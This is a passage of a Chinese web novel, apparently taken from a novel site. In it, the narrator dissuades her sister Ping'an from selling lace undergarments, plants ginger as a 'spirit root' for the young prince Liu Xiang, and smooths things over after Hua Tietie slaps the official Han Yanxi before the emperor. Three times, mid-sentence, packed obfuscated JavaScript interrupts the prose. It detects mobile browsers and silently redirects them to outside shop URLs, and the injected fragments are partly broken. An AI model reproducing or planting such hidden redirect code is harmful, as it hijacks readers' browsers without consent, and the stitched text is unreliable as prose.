“因为这等难以启齿的隐私之事被夫君嫌弃,翡翠要如何自处?大宅内院儿虽比不得宫里,可争斗起来也热闹得很。这就算是很好的把柄了,多好的刀子递人手上了!人都不用捅,只时不时提一嘴,冷不丁说笑一番,便直往心窝子上扎了。翡翠机敏伶俐着呢,她可不许自己陷入那种境地,所以及时抽身了。”我特别强调道:“都说了,你们以后是要嫁人的。翡翠不愿趟的浑水,你们自然也要远着点儿。” 花铁铁对嫁人什么的这些事儿不上心,没啥感觉自然不在意,但也想得通其中厉害,点点头。 我的话却着实让平安一个激灵,瞬间清醒多了,嘴唇稍稍没了血色,抖了抖道:“我,我家郑清才不会……” “不会是不会,那他也是男人啊!男人,只要行他就能,只要能他就想,只要想他就会,脑子长在跨上,那种事儿都是无师自通的!!那平昭公主家的驸马爷,南军的统帅,为了守寡的平昭公主清心寡欲等了这么多年,他真真儿不是那样的人了吧?可是前儿个宴请同僚,还不是去了花小楼?”我吃着松子说着。 花铁铁老成的点点头道:“都一个尿性,洁身自好不下水不沾身,就算是好的了,有些地方不去,不是男人不想去,一是没钱,二没地位,进不去,但凡能,哪个男人不去?那你家郑清,还是你亲自领着进的花小楼呢。” 平安心口一堵,颤着下巴,有些虚怯,红着眼圈张了张嘴,始终没说出话来。 我“啧”了一声,瞪了一眼花铁铁,见她已经意识到自己嘴快说多了一句错话,便叫她和我一起剥了一些松子递给平安。花铁铁揉了揉平安发凉的手,满怀歉意地轻轻环住她。 我拿了一颗松子喂给平安,温柔安抚道:“尝尝,味道不错,清新爽口。花小楼是雅俗共存之地,前楼后院是分开的,到底和教坊司不一样,咱们平素都是去前楼,你啊我啊郑清啊去也就去了,那贵族家的夫人小姐也都跟着自家老爷公子去呢。那陛下还不是带着公主去微服私访过?不进后院就行!” 驸马爷在花小楼宴请同僚,夜宿后院,是因为南军涉及刺杀太子一案,彼时需要牵制南军各部将领,驸马有命在身,不得已而为之,但这事儿不能外泄,不能说给平安和花铁铁知道。我便如此含糊过去。 花小楼前楼虽是实实在在正经的高档酒楼,可后院楼里姑娘内舍的事情,众人便心知肚明了,有些买卖终究拿不上台面,我们却也不好指摘,人世间就是有很多疾苦和无奈,不是所有的姑娘都能指着卖艺就有饭吃的对吧?即便李大娘子和那些卖艺的姐妹,脱去贱籍之前也有段不堪回首的过往,女人,能干干净净的谁不想干净。说到底都是苦命人罢了。 平安渐渐舒缓过来,我接着道:“昨日船上我当着李大娘子的面,不好把话说透,叫人家觉得咱们轻贱她们的身份,凭白伤了人家的心。我知你向来喜欢一视同仁,不看重身份地位,崇尚人人平等,但这恰恰说明,你也深深意识到,人是不平等的,是分三六九等的。就连咱们出行用的马车都是有规制的,何况是贴身服饰。 贵族家的女人,寻常的良家子贴身穿的东西,就是不能和楼里的姑娘一个样。私底下卖都说不过去,你倒好,还要明着开店卖,大张旗鼓地卖,那你最后还能卖给谁啊?贵族女子想买也不屑买,寻常人家又买不起!那你的店岂不是成了楼里姑娘贴身物品专供铺子? 我堂堂长安君的妹妹专门开店伺候她们?!我脸往哪搁先不说,只说你们辛辛苦苦才做出几件儿抹胸,最后赚她们的钱?她们的钱什么来路,那可都是实打实的血汗钱!” 皮肉钱自然是实打实的血汗钱,平安闻言身子僵硬的不行,额角慢慢浮出一层细汗。花铁铁又赶紧给她轻揉双臂疏通,给了我一个你说话也注意点儿的眼色。 可我搂不住了,话说半截最难受,还是一股脑儿吧!于是起身背着手来回踱步,自顾自的苦口婆心道:“你原本做的是贵重的物件,这下变成什么了?你现在也是良家子了,何苦去做商人,伺候那些人? 就算你经商眼光独到,别出心裁的把抹胸也分出等级样式来,对应各个阶层。如此贵族女子,甚至公主都喜欢你家的抹胸,都照顾你的生意,可她们若是知道你为了赚钱做买卖,对主顾是来者不拒,什么人都伺候的,也只会觉得你果然是重利轻义的商人本性,毫无忠义可言,只会鄙夷你甚至更加疏远你。 要知道伺候贵人的人是不能再伺候平民和下等人的,不然就是轻贱贵人。从你这双手上做出来的东西不光卖给她们,还卖给平民甚至楼里的姑娘,她们作何感情,她们的夫君又怎么想? 你别觉得我说话难听,你自己也该想到,怕是他们大都私下觉得恶心,厌恶你怨你恨你也就罢了,把抹胸剪坏了扔了,只当是花了重金打水漂算了。可终究不是所有人都能不记仇轻易放过你的,有花铁铁和我在,没人敢把你怎样,面上人家不计较,但到底把人都得罪了不是? 退一万步讲,你说只做贵族家女子的生意,可你也只能嘴上说说,又不真能只做贵族女子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309877|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的生意,把平民女子和楼里的姑娘拒之门外,那和你推崇的人生而平等的为人处世之道又全然相悖,你更难受,最后还不是里外不是人! 再说了,贵族家养了不少手工技艺超绝的绣娘裁缝,良家子们也都个顶个是女红好手,你那些东西她们看一看,钻研一下,就算研究不透蕾丝的编织技法,那都换成珠宝或者绣花,也必定是青出于蓝,最后做得倒比你家铺子的还要好,你又该怎么经营下去呢? 所以你劳苦一圈,到底为了什么呢?嫌我给你的零花钱太多,赶紧想法子赔光?觉得自己人缘太好,日子过得太舒心?怕自己还不够抛头露面,非得更招摇过市些?累死累活地编最难编的蕾丝,做最难做的工艺,赚最难赚的钱,得罪最不好得罪的人,只为添最乱的堵,当最烂的人吗?”这下把路子堵的死死的了吧!!! 平安感觉我的话戳心窝子,却十分在理儿,她红着脸低着头,静静地听,只道虚心受教。 我拉了拉平安的衣袖,软糯糯地道:“平安我懂你的,你最是善良,喜欢把好东西和所有人一起分享,可这样美丽的贴身之物,你独自享受,或者和亲近的好友,闺蜜,自家姐妹们分享不就得了,何必明出去售卖,让别的女人跟着一起美丽?”也让别的男人长了见识,胡乱遐想不是? 不是所有人都值得拥有这份来自异世的美丽,那个欺负你打你,抓花过你脸蛋的元欣郡主就不配,不是吗?“你辛辛苦苦做的抹胸要是穿在那个什么劳什子的元欣郡主身上,给你多少钱,你心里也亏得难受不是吗?” 听我这样反问,平安眼神闪烁想了想,道:“没想到这里面道道这么多,你怎么不早说?那样翡翠也不会着急跑了,翡翠怎么也不说呢?” 我倒是很早就想说来着啊,我的妹妹!我都尚且绞尽脑汁,翡翠又要怎么说,才劝得住你呢?你是个实心眼子,在兴头上的时候,谁的话听得进去?我想她一路上没少小心试探劝阻,应该也是尽力了,最后才死心的吧。而且,“她心有大志,离开是早晚的事儿,你不用觉得难过。”我道。 花铁铁嗑着松子,问平安道:“哎那个元什么欣的郡主是梁王家的那个吧,她怎么着你了,你俩有什么过节?来,说!”花铁铁说着又抓了一把松子给平安,大有一副我去给你出气的样子。 平安赶紧打哈哈说什么事都没有,其实是担心多一事儿不如少一事儿,她可不想再和元欣郡主有什么瓜葛了,于是就跟花铁铁含糊了过去。 齐王备好了午膳,差旦公公过来请。七皇子刘橡跟着一起来了,却等在殿外不敢进来。 刘橡是虎年生人,属虎的人,是不能看小动物刚生产下来的不出月的小崽儿的。 我也不知道这是为什么,总之,很玄学:小动物新生的小崽儿要是给属虎的人看了,不管是小猫小兔子还是什么,雌性都会立即将小崽儿咬死,甚至吃掉。 有的时候被看见一整窝,那么一整窝都给咬死,有时候是给看见一部分,就咬死一部分,有的时候就留下压在身下没被看到的那一只,其他的都给咬死。 12. 种灵根 这些小动物,真是神奇极了,它们是如何确定自己的小崽儿有没有被属虎人看到的呢? 我至今不能理解,它们是怎么分辨这些小崽儿哪一只被属虎人看到,哪一只没被看到的。或者说,它们是怎么知道哪个人是属虎的,哪个人不是属虎的呢? 总之就是很玄妙!! 刘橡以前经历过这种事儿,还因此伤心疯癫了好一阵儿,于是这一次,很听话的和齐王惠王在偏苑等着,这会儿跟着旦公公来请我们去用午膳,也没吵着闹着进来。他的病真的好了很多!我们不禁为他的好转感到高兴。 早上刘橡醒来看见他床头的糖人儿,果然开心雀跃,午膳后喝完药,便坐我身边老实认真地吃糖人儿。昨夜给平安送完香回来,他偷偷把他的蛐蛐飞将军放生了,却还是习惯性地抱着那个精美的小罐子。 我说他怎么老是心事重重的样子,原来是干了这事儿。他是很善良很温柔很暖心的人,平安害怕虫子,他再喜欢飞将军,也不肯养了,那可是他最最心爱的整日陪在身边的飞将军啊。 飞将军不在了,他也总是抱着空罐子,任谁说也不肯放下,我想应该是长期形成的情感依赖,一时半会儿改不了,不如给他种个灵根抱着。于是就同他商量了一下,然后和他一起把罐子底部钻了几个小小的出水孔,做灵根容身之器。 凡人种灵根一般选择用姜,《黄帝内经》称其正气存内,邪不可干。姜是非常具有正气和灵气的植物,本身就驱邪风避寒气。给刘橡用姜做灵根是最好不过的了,不过种灵根要避口谶。 于是,我特意吩咐众人不要乱说话,待会儿我要拿一个姜芽回来,叫他们看见了千万别问这是什么,要干什么,更不要直接说是姜,或者问拿个姜干什么。不然就破功了,灵根就失了灵性,也就没有养护的价值和必要。总之叫众人全都禁言。 我又嘱托刘橡要给灵根先取个名字,让它不知道自己是姜。 刘橡坚决不肯,说他不喜欢被人骗,也不想骗人,骗姜也不行。 我说,我们不是要欺骗灵根,而是如果它知道自己是姜,它就只能是姜,永远不会有出息,天底下姜多得是,咱们没必要种一颗姜抱着。相反,倘若灵根不知道自己是姜,它就会坚定地认为自己是有灵性的根种而默默修行,就会生机盎然的生养灵性,滋养和守护着主人。所以,我们要帮助它重新认识和确定自己的身份。 平安也一起劝说刘橡,道这一切都是为了让他早日痊愈,并非作恶,有心欺骗。而且这也算不得欺骗,只是让一颗普通姜,不再被世俗常识所定义,从此开启别样姜生,走上与众不同的道路,经历一番造化,若日后修成正果,普度众生,也是刘橡一件功德无量的善行。 于是,刘橡欣然答应,给他的灵根取名叫做——飞将军! ……嗯,好吧,挺好! 花铁铁一脸不可置信,低声问我,平安那番话,七皇子确定能听懂吗? 我道懂不懂都无所谓,反正同意了就行。 指导刘橡取土放入小罐子中,挖一个小窝窝,把灵根放进去,然后填土,只留一个小青芽在外面,再浇透水,灵根就算种下了。 我告诉刘橡一些养灵根的注意事项,他一一记下,其中一项最重要的便是每天对着灵根诵一遍《德道经》,只教了他一遍,他就一字不差的全背下来了。 因为灵根需要晒太阳通风透气,罐子不能盖盖子,刘橡生怕摔了撒了,精神有些紧张,抱着灵根飞将军走路的时候,走得特别慢特别小心,动作十分笨拙,甚至有些夸张。 平安便拿出毛线和钩针,给刘橡织了一个漂亮的网兜,套在罐子外面,绳头拴在他手腕上,这样他抱着提着都不怕脱手了。抚摸着平安给他系在手腕上的蝴蝶结,刘橡欢喜极了。 午后我们去汤泉宫偏殿打台球,皇帝刘景和太子殿下他们都回未央宫办公去了,山中无老虎,猴子称霸王,惠王齐王七皇子都听我的,所以我就是霸王! 不等我得意,便听:“懒懒大王霸,台子杆子和球儿都备好了,可以开始啦!”啧,旦公公还真是不合时宜!!! 啊哈哈哈……果然,花铁铁听了旦公公关于我“懒懒大王霸”这个称号由来的解释,差点笑死! 啊哈哈哈……笑死啦笑死啦,花铁铁这个大傻子,力气用得太大,一杆子下去,直接给台球串成糖葫芦了,啊哈哈哈……大虎叉…… 汤泉宫只有一副台球,坏掉了就不能玩了,于是我们就打扑克牌,惠王齐王九皇子和花铁铁四人对阵,本来花铁铁不会打牌,是要让她先学两局再上的,可她那性子怎么可能等得及呢,拉着扑克祖师平安给她当军师,她俩一起上。 本来刘橡也不会打牌在一边儿观战的,这下好了,有样学样,让我给他当军师,我俩一伙儿上。 扑克祖师平安平日对我们的教诲,言犹在耳,她总是教导我们说:这个打牌啊,输赢不重要,关键是得有架势,有阵仗,简而言之,言而总之就是输牌可以,但绝对不能输人输气势。 出牌的时候必须得用一夫当关的气势,将牌摔出去,摔得越狠,越能震慑对方,摔得对方看不清牌,你说出啥就是啥最好!要的就是看一看对方憋得满脸通红,不服又干不掉你的样子,听一听他隐忍万分不得不服,咬着后槽牙道的那一声儿:要不起! 就这声儿,最爽!!! 可今儿刘橡在这里,我们怕把他带坏了,所以打得很文雅。主要也是担心,同是新手又天赋异禀的花铁铁,最后青出于蓝而胜于蓝,她要是打疯了,出牌都带着内力,能把眼前儿这仨药罐子和我妹妹连人带牌震死震伤震飞出去……那个虎老娘们,她真的啥都干得出来!!! 噼里啪啦,不要,要,要不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14311296|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要,要不起,过…… 时间过得真快,不知不觉一下午。我们几个脸上记录战绩的纸条,都贴得没地方贴了,再贴就该贴眼珠子上了,才意犹未尽的约好下次再战,我们吵吵闹闹,七嘴八舌,互相指摘着一边分析战术,一边复盘战果,走出偏殿正好赶上刘景和太子他们回銮,于是慌里慌张地跪了一地。 迎头遇上,我们“面目全非”的样子,给他们一行人惊得连哆嗦带愣的,沉寂片刻,随即爆发出潮水般的笑声,他们笑得前仰后合肚子疼。 没叫我们起来,我们就那样跪着,七手八脚地彼此给彼此清理脸上的纸条。 韩燕熙向来不是个省油的,一群人只他走上前来蹲下身,帮平安清理纸条,给平安挥手打开了,他也不恼,转而又给我清理纸条,低声笑道:“你们这是玩了多久,满脸都是?水平都差不多啊,就没个常胜将军?” 韩燕熙自幼聪敏好学,因着老唐异姓王韩王庶孙(韩氏唯一血脉)的身份,皇帝刘景即位后,亲选他为太子伴读,就读学宫,十六岁成年后,便连续九年蝉联秋考冠首,如今入朝为官,更是皇帝太子的近臣重臣爱臣宠臣心腹之臣股肱大臣。 总之,他是名副其实的大红人儿,在皇帝跟前如同亲子,在太子眼中情同手足,所以人难免傲了些,眼下就算跪在地上的还有惠王齐王和九皇子,他也不和旁人一样侧身避让,反而还上前来与我们调笑。 他这话就是讽刺我们又菜又爱玩的意思,我瞬间气上头来,但抬眼看了看还在和太子开怀大笑的刘景,只敢噘着嘴低声呵道:“你滚。” 因为忌惮有上位者在,我便刻意收敛了愤怒,谁承想这声呵斥,竟全然没了气势,反倒近似娇嗔,这,就尴尬了!说完我自己都愣了一下。平安也顿住动作,其他跪着的一众人,都惊得侧过头来看我。除了状况外的刘橡,他这会儿正抱着他的灵根,跑到他爹和他哥面前显摆呢。 刘景和太子很爱护刘橡,满脸慈爱地听刘橡细细诉说,没注意到我们这边的状况,只随意抬手让我们一行人平身。 韩燕熙惯喜欢戏耍我,这下占了上风,得意地抖着肩膀憋笑,一脸坏坏的表情。 花铁铁“啧”了一声,暗道:特么这小子还是个双面郎,对上平安就跟个傻子一样,对上长安居然这么邪性! 花铁铁稍稍侧头,余光瞥着皇帝和太子,蹙眉瞪着韩燕熙,嫌弃地捅了捅我,咬着牙低语责怪我:“你彪啊,你跟他客气什么,你吼他啊,你扇他。” 她说到最后一激动,嗓门就大了些,刘景和太子等人闻言看过来。韩燕熙倒没什么,他可没心思关注花铁铁,这会儿只顾盯着平安呢。我妹妹自然是向着我的,正三分恼,三分怒,四分隐忍地埋怨他呢。 感受到上位者的目光,我额角浸汗,捅咕了一下花铁铁,低声道:“天子在呢,收着点……” 13. 我来 花铁铁可能根本没想到我还有话要说,也没注意到上位者往这边看,怕是当时眼里只有韩燕熙讨打的样子,和我受的委屈,她仿佛下定了决心,打定了主意觉得有些事儿就得她来,只听得她霸气一声:“我来……你滚!” 电光火石,“啪!!!”一巴掌,配上那声中气十足的“你滚”。瞬间,那个和所有人一样,都认为不会有人敢在天子面前造次的韩燕熙,就赫然应声飞出去了。 我觉得我作为武林高手的本能和反应就够快得了,可还是没快过花铁铁的巴掌!!平安当时就吓得脸色苍白,摊倚在我身上,要晕过去。 再看虎叉花铁铁,习惯性地在胜利后拍了拍手上并不存在的尘土,满意地点点头,确定道:“嗯,果然,还得是我来……” 她一副畅快得不行,爽翻了天的样子,完全,丝毫没有自己惹下大祸的觉悟……只给了我和平安一个“怎么样,我够仗义吧”的眼神!!! 我一阵耳鸣,“我的天爷啊,这可如何是好?”当着天子和太子的面,殴打朝廷命官,天子心腹,太子股肱!?旁人也就算了,那可是韩燕熙!!!我感觉我的汗都流成瀑布了。 这一巴掌下去,给天子和太子也干蒙圈了,别说上位者,在场的所有人都彪了……除了,刘橡,他在韩燕熙飞出去的瞬间,本能地护着怀里的灵根躲了一下,然后茫然地问道:“什么东西飞出去了?” 没有人回答他,也不需要回答,刘橡已经顺着众人的目光看向花丛里的韩燕熙,兴奋地雀跃着高声大呼:“我也要飞,我也要飞……” 刹那间,气氛尴尬极了! 我和平安赶紧上前把刘橡拉到一边,示意他安静,余光仔细关注着上位者们。刘橡学着我们让他噤声的样子,把食指放在嘴前,不停地“嘘”着,他幼稚又不合时宜的举动,似乎加剧了刘景和太子的心烦意乱。 花铁铁终于反过味儿来,少见的慌了神,不知道接下来该怎么办,就退到我身边,低头对着我眨了眨眼挑了挑眉。 众所周知,花铁铁这回儿的的确确确确实实犯了大罪,根本没办法模糊过去,可这罪该怎么治,治了罪该怎么刑,真要刑,又该怎么刑这个花铁铁……都犯了难! 我眼睛一转,下巴朝着在花丛里狼狈起身的韩燕熙那边指了指,示意她赶紧去搀扶苦主,争取宽大处理。 刘景冷静下来,将我和花铁铁的小动作尽收眼底,神色一变,我一个激灵,以为他马上就要给花铁铁定罪了,立时浑身的寒毛都立起来了,大脑飞速运转应对之策。 后来才获悉刘景当时完全是另一种想法:有些大家长,在对待人家孩子和自家孩子闹矛盾这种问题上,通常不仅不护犊子,往往还反其道而行,就算是人家孩子的过错,自家孩子挨了欺负吃了亏,也会第一时间责备处罚自家孩子。 当然,花铁铁和韩燕熙的突发状况,不能简单片面的,以百姓家解决熊孩子日常琐事论处,但彼时那种情形,刘景的决策完全正确——比起处罚花铁铁,惩戒韩燕熙更有政治价值。 只见刘景蹙着眉头看向韩燕熙,一旁的太子殿下登时警觉起来,知父莫若子,他是第一个发现刘景意图的人,在众人还没摸清头脑之际,在刘景正要发落之前,太子一个闪身上前行礼抢先开口:“父皇……” 我心头一紧,直觉不妙:比起处罚花铁铁,惩戒韩燕熙,太子这般行径,更加不妥!怎么如此冒失,犯这种错?糊涂啊! 还好韩燕熙这小子脑筋转得快,自己解的围,太子才喊出“父皇”二字,他便高声赞道:“花姑娘,好武艺!” 只见韩燕熙一边痛苦地捂着脸,在豆如意、庄助等人的搀扶下走出花丛来,一边忍着剧痛对着满是抱歉迎将上前的花铁铁行了一礼,道:“花姑娘,真乃……豪杰也,骁勇,骁勇,小生受教了,佩服佩服……” 有台阶赶紧下,众人见好就收,跟着韩燕熙对花铁铁一顿猛夸猛赞,哈哈一笑,这事儿也就翻篇了。 韩燕熙肿胀着脸不好陪王伴驾,跟着我们一起行礼跪送皇帝太子一众人离开。 刚才众人都低着头,没看见刘景和太子的神色,而我却悄悄将一切尽收眼底。 知子莫若父,太子撅撅腚,刘景就知道他要往哪放,太子的举动让刘景很是恼火。刚才太子一声“父皇”,竟让一向爱子如命的刘景立即红温,脸上满是不悦,隐忍着怒意瞪了太子一眼。他从来没有对太子这般神情过,所以就算韩燕熙没有及时打断,太子也惊恐的说不下去了。 关心则乱,太子和韩燕熙君臣感情太深太好了,想得无非是没必要为了一个不知天高地厚的江湖女子,将罪责都赖在韩燕熙身上。而皇帝刘景,却是实在不喜太子为了近臣宠臣乱了方寸,失了冷静,不顾大局,甚至不看场合。 尤其是在太子明晓他意图的前提下,还敢斗胆阻挠圣意,近乎触碰逆鳞,而让他更加失望实在难以接受的是:他最亲最爱的儿子,应时时刻刻与他同心同德,任何人任何事都不应该横亘在他们父子之间。虽然他也宠爱器重韩燕熙,但韩燕熙够不上,远远够不上! 父亲的情绪,太子看在眼里,怎会不知方才自己一时冲动犯了大忌,像个做错事儿的孩子,惴惴不安小心翼翼地跟在父亲身后。 我收回视线,心中一番思索筹谋。 其实太子担心的那些都不算什么,刘景对太子的父爱之深厚,超乎所有人的想象,所谓逆鳞,也仅仅是所谓的而已。 我想让刘景最最介怀最最难过伤心的是:太子只知其表,却没有看到他更深一层的袒护,有时大家长抢先责罚自家孩子,不仅是为了给外人情面,更是长辈偏疼亲爱自家孩子的一种表现。 等上位者离开,韩燕熙才阴沉着脸,将口中含着的鲜血吐出,擦了擦嘴角,转身就走。 这小子是有急智的,是察言观色的高手,也很能洞察人心,我都不敢想象,若没有韩燕熙自救,及时把太子摘出来,刚才皇帝和太子该如何收场。为了这等小事,便闹了不快,起了龃龉,传将出去,让有心人欣喜天子太子并非铁板一块,又得掀起多大风浪。 回丛芳园的路上,平安建议我们赶紧出宫,我不同意,只叫她安心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14321667|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住下,这宫是不能一直住着,得出,但不能赶紧出。我们又不是只为了泡汤泉来的,还有些目的没达到,不能因为一些临时的意外和小冲突就退缩。 我思忖着得赶紧教一教花铁铁些宫规和禁忌,逼着她收收性子,再慢慢让她去上位者跟前晃悠。 她这一身本事,天子就算有心收服为己所用,有意施恩,也不好一再纵容。刘景刚才尚且为难,却有心偏袒,欲拿韩燕熙主动生事为说辞,让韩燕熙担下过错了事。那下一次呢?花铁铁再惹出什么礼法难容,关乎皇家甚至大汉颜面,触犯律法宫规的事儿来,又该如何?总不能老往别人身上赖吧? “在天子面前殴打朝廷命官,触及国法律例,罪过大着呢!可真论起来,你只是扇了韩燕熙一巴掌,到底不是什么上得台面的罪,一代女侠犯在这等芝麻绿豆的事上,实在有失水准和体面,传出去,多窝囊,没得叫江湖人耻笑。天子向着你,你也长长记性,以后注意些,别老给咱家陛下添这种鸡毛蒜皮的麻烦,膈应,折损人家对你的好印象。” 我一番说向,花铁铁也觉得天子抬举她,她得识抬举,天子给的面子得双手接着,赶紧往脸上贴,不能给脸不要脸,所以她决心以后小心行事,再不惹是生非。 花铁铁心里也清楚,上位者对她还没有什么所谓的信任可言,对她礼遇恩待许她入住丛芳园,无非就是三点,那日太子遇刺她救驾有功;看在我的情面上;和十分忌惮。 尤其太子,对她不仅忌惮,还很疏远,甚至猜忌。今日又当着他的面打了他的爱臣,引得他失了分寸,让他们父子心上起了疙瘩,以后她更得夹着尾巴,三思而行。 花铁铁明白,我积攒下的信任,她不能随意消磨,她要赶紧抓住契机缔结她自己和上位者之间的君臣纽带。 可是契机这个东西,讲的是机缘,不是随随便便就有的。在那之前,少惹事,少添堵,才是实实在在的。 不过经此一事,我们都意识到:韩燕熙很重要,是个人物,太子的软肋,有他一根。 我去汤泉宫外宫郎官官署处,给韩燕熙送了一些伤药,韩燕熙的脸上一个显而易见的五指巴掌印,这会儿越发肿得有些夸张,他心情十分不好,瞥了我一眼,语气生硬地说他的牙齿也有些松动。 我赶紧殷勤热切地上前小心查看一番,松了一口气,还好伤得不重,花铁铁倒果真如她说的那般,已经很收着了。 我用内力冰镇了一个湿毛巾给韩燕熙敷在脸上,软软糯糯地说了好些表达歉意的话,末了叫他以后注意点儿,花铁铁跟我和平安不一样,那可不是个分场合看情势决定是否忍气吞声的主儿。 韩燕熙吃了这么一个亏,自然知道我说的都是真的。虽然没有应下,却也没有反驳,我便会意。 他实在太爱惜他这张绝美的俊脸,他的性格又向来喜欢记恨,这事儿怕是也没那么轻松翻篇儿。 花铁铁武艺高超,韩燕熙只能忍着。可这小子心眼子不比我少,花铁铁又是个大大咧咧的马大哈,说不定哪天一个疏忽,就会叫这小子逮住机会,送她个暗亏吃吃。 14. 幌子 想到这里,我转了转眼睛,对韩燕熙道:“花铁铁就是个傻子,虎了吧唧,行事说话从来不过脑子,但我敢担保,她对你没有丝毫敌意,也没有半分恶意,就是玩笑开大了,若非如此,你脸早就保不住了,最轻也得掉几颗牙。” 我说:“花铁铁已经知道错了,本来要跟着过来给你道歉的,我怕你见了心烦,就不让她来添堵,说帮她把话带到就行。可她是个讲究人,硬要亲自来给你低头认错,好在有宫规拘着,她只能作罢。” 韩燕熙躺在榻上,脸上盖着冰毛巾,不知是何表情,他不动声色,我心里没底,只絮絮叨叨,说花铁铁是真知道错了,事后懊悔愧疚的不行,嚷嚷着改天一定亲自到韩府给他道歉,叫他别往心里去,别记恨花铁铁。 说罢,我一边给他更换冰毛巾,一边观察着韩燕熙的神色,小心翼翼忙忙碌碌的样子,道:“我刚正一心数落花铁铁呢,要不是平安提醒我,也没想着要来看望你,平安很急的,都要哭了,催促着我赶紧带着药过来看你伤得如何了,要不是你这儿不让女子进,她早过来了。” 外宫的郎官官署处,有严格规定,只有郎官,尉卫,侍中等男子及黄门太监才能出入。 见韩燕熙眉头舒展,不等他细细询问,我见有戏,心道赶紧加把火候,面上却不动声色,只佯装叮嘱他如何用药,道:“这红瓶的是内服的,这白瓶的是外敷的,你这伤倒是不用外敷,也不知道是平安爱惜你容貌,还是她知道你爱惜容貌,总之她特意嘱托我,非得让我跟你说最好还是敷上,说好得快。” “她,关心我,爱惜我。”韩燕熙这话并不是在问问题,而是在欣然窃喜,他兴奋地坐起身来,脸上的冰帕子掉了也顾不得,只低头轻柔笑着,把两个药瓶握在手心里,放在心口。 我端来温水服侍韩燕熙送服内用之药,又伺候他躺好,把外用药给他敷上,嘴上也不闲着:“那是当然,我妹妹又不是铁石心肠,你这一阵子也不像从前那般烦人了,我妹妹自然也不再厌恶你,嗷呦,你都没看见当时你给花铁铁打飞出去了,平安一下子就瘫软得要晕过去,显然是关心则乱,心疼得紧了,回去也坐立不安的,我都给她催促急了。” 说到最后我语气尽是埋怨,却更让韩燕熙愉悦。他脸上红一阵儿青一阵儿,欢喜一阵儿懊恼一阵儿,我懂他,毕竟在自己心爱的女人面前,给另一个女人只一巴掌就打得如此狼狈,总是丢脸的,可是换来关心,便觉得也值。值倒是值,但又过不去男人尊严那道关…… 韩燕熙俊俏的面庞,时而舒展时而纠结,倒别是一种风情。 取来纱布给他包扎好,我见他怒气渐渐消散,就道:“我得赶紧回去跟平安说说你的现状,别让她等得着急了。” 韩燕熙闻言起身下榻,送我速速离开,倒像是在撵我赶紧走。我说包成这样就别出门送了,好生在屋里躺着吧。 韩燕熙摸了摸头上一圈一圈的的纱布,顿住脚步,去镜子前看了看,惊得一哆嗦,嘟囔了一句。 我没听清,可看镜中他的眼神,听那语气,也知道被嫌弃了,于是噘着嘴解释道,我是受人所托,为了表达某人抱歉,显示我自己的诚意,以及传达某人的关心,才给他包得这么隆重的。叫他别不识好。 韩燕熙对我的狡辩不置可否,他只听得见他喜欢听的那句话,转身过来,双手按在我的肩上,郑重其事地特意嘱咐我,让我在平安面前别把他说得太惨太难堪,“但,也别说得太轻巧,要,拿捏好尺度。” 我善解人意地拍拍胸口,大有包在我身上的意思,说:“知道知道,保证既让她心疼你,又不让你再丢面子,还要让她觉得你大人不记小人过,心胸宽广,气度不凡,最重要的是关键时刻挺身而出,把所有的错都拦在自己身上,化解花铁铁的困局和天子太子的窘迫。” 可本来就是你的错好吧,你不上来讽刺我们打牌技术菜、差、烂,哪有后来这些乱七八槽的事?我心里嘀咕,面上却笑得万分真诚。 韩燕熙对我简直满意极了!完全不顾旁人异样目光,一直把我送出郎官署大门口。 看着韩燕熙被我包成粽子的脸,我心中又有些过意不去。 其实这事说到底,也有我的原因,我的那声“你滚”,实在太……嗯,我检讨个什么劲儿?我没错,都是别人的错,对,都是韩燕熙的错。 韩燕熙就是自幼狗仗人势习惯了,行事做派向来出格,偏偏大家都习以为常,他便更没了约束,别人都是在上位者面前小心收敛,他却总是仗着有上位者在场给他撑腰,愈发肆无忌惮的欺负我。 以前,也就算了,刘景和太子顶多也就是模棱两可的说他两句,叫他适可而止,或者睁只眼闭只眼,任由我们拌嘴打闹。即便上次他偷袭我,把我扔汤泉池子里了,齐王护住我的时候,也只是冷脸冷语几句作罢,碍于情面,没人会真的为了我撕破脸皮,给他苦头尝尝。 可现在不一样了,花铁铁来了,她可不管那套,当时那般情形,她定是觉得韩燕熙让我受气受委屈了,她哪见过我那般敢怒不敢言的样子,像个软糯糯的小柿子。 更者在花铁铁心里,除了她没人可以欺负我,她护犊子的很,登时就炸了,于是便不管不顾天不怕地不怕的为我出头。 花铁铁是最仗义最赤诚的,我得好好保护她,我以后的行事做派也更需谨慎三思,别让她再在这些小事儿上吃亏栽跟头。 在韩燕熙那儿,用平安打幌子的事儿得给平安通通气儿。 花铁铁和刘橡再丛芳园的后院,用树杈网了蜘蛛网,捕蜻蜓。齐王和惠王正在喝下午茶。 